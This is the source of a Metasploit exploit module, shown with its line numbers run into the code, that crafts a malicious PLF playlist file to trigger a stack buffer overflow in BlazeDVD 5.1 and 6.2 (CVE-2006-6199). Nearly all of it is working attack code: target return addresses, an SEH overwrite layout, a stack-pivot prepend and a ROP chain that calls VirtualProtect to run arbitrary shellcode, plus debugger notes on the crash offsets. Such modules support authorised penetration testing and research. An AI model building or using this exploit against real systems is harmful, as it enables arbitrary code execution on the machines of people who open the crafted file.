Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/blazedvd_plf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow',13'Description' => %q{14This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When15the application is used to open a specially crafted plf file,16a buffer is overwritten allowing for the execution of arbitrary code.17},18'License' => MSF_LICENSE,19'Author' =>20[21'MC', # Developed target 5.122'Deepak Rathore', # ExploitDB PoC23'Spencer McIntyre', # Developed taget 6.224'Ken Smith' # Developed target 6.225],26'References' =>27[28[ 'CVE' , '2006-6199' ],29[ 'EDB', '32737' ],30[ 'OSVDB', '30770' ],31[ 'BID', '35918' ],32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36'AllowWin32SEH' => true37},38'Payload' =>39{40'Space' => 750,41'BadChars' => "\x00\x0a\x1a",42'DisableNops' => true43},4445'Platform' => 'win',46'Targets' =>47[48[ 'BlazeDVD 6.2',49{50'Payload' =>51{52# Stackpivot => add esp,0xfffff25453'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"54}55}56],57[ 'BlazeDVD 5.1',58{59'Ret' => 0x100101e7,60'Payload' =>61{62'EncoderType' => Msf::Encoder::Type::AlphanumUpper63}64}65],66],67'Privileged' => false,68'DisclosureDate' => '2009-08-03',69'DefaultTarget' => 0,70'Notes' =>71{72'Stability' => [ CRASH_SERVICE_DOWN, ],73'SideEffects' => [ SCREEN_EFFECTS, ],74},75))7677register_options(78[79OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),80])81end8283def rop_chain84# rop chain generated with mona.py - www.corelan.be85case target.name86when 'BlazeDVD 6.2'87rop_gadgets = [ ]88# 0x6162e802 RETN (ROP NOP) [EPG.dll]89rop_gadgets.fill(0x6162e802, 0..7)90rop_gadgets += [910x61636758, # POP EAX # RETN [EPG.dll]920x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]930x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll]940x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll]950x61628ea2, # POP EBP # RETN [EPG.dll]960x616069a1, # push esp # ret 0x04 [EPG.dll]970x61626702, # POP EAX # RETN [EPG.dll]980xfffffdff, # Value to negate, will become 0x00000201990x61627d9c, # NEG EAX # RETN [EPG.dll]1000x61640124, # XCHG EAX,EBX # RETN [EPG.dll]1010x61629938, # POP EAX # RETN [EPG.dll]1020xffffffc0, # Value to negate, will become 0x000000401030x61627d9c, # NEG EAX # RETN [EPG.dll]1040x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]1050x61612f5a, # POP ECX # RETN [EPG.dll]1060x100142ab, # &Writable location [SkinScrollBar.Dll]1070x616313ac, # POP EDI # RETN [EPG.dll]1080x6162e588, # RETN (ROP NOP) [EPG.dll]1090x6162d638, # POP EAX # RETN [EPG.dll]1100x90909090, # nop1110x61620831, # PUSHAD # RETN [EPG.dll]112]113end114return rop_gadgets.flatten.pack("V*")115end116117def exploit118case target.name119when 'BlazeDVD 5.1'120plf = rand_text_alpha_upper(6024)121plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')122plf[876,12] = make_nops(12)123plf[888,payload.encoded.length] = payload.encoded124when 'BlazeDVD 6.2'125plf = rand_text_alphanumeric(260)126plf << rop_chain127plf << payload.encoded128end129130print_status("Creating '#{datastore['FILENAME']}' file ...")131file_create(plf)132end133end134135=begin1360:000> !exchain1370012f2c8: 31644230138Invalid exception stack at 644239631390:000> !pattern_offset 6024 0x31644230140[Byakugan] Control of 0x31644230 at offset 872.1410:000> !pattern_offset 6024 0x64423963142[Byakugan] Control of 0x64423963 at offset 868.1430:000> s -b 0x10000000 0x10018000 5e 59 c3144100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<.145100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$1460:000> u 0x100012cd L3147skinscrollbar!SkinSB_ParentWndProc+0x1fd:148100012cd 5e pop esi149100012ce 59 pop ecx150100012cf c3 ret151=end152153154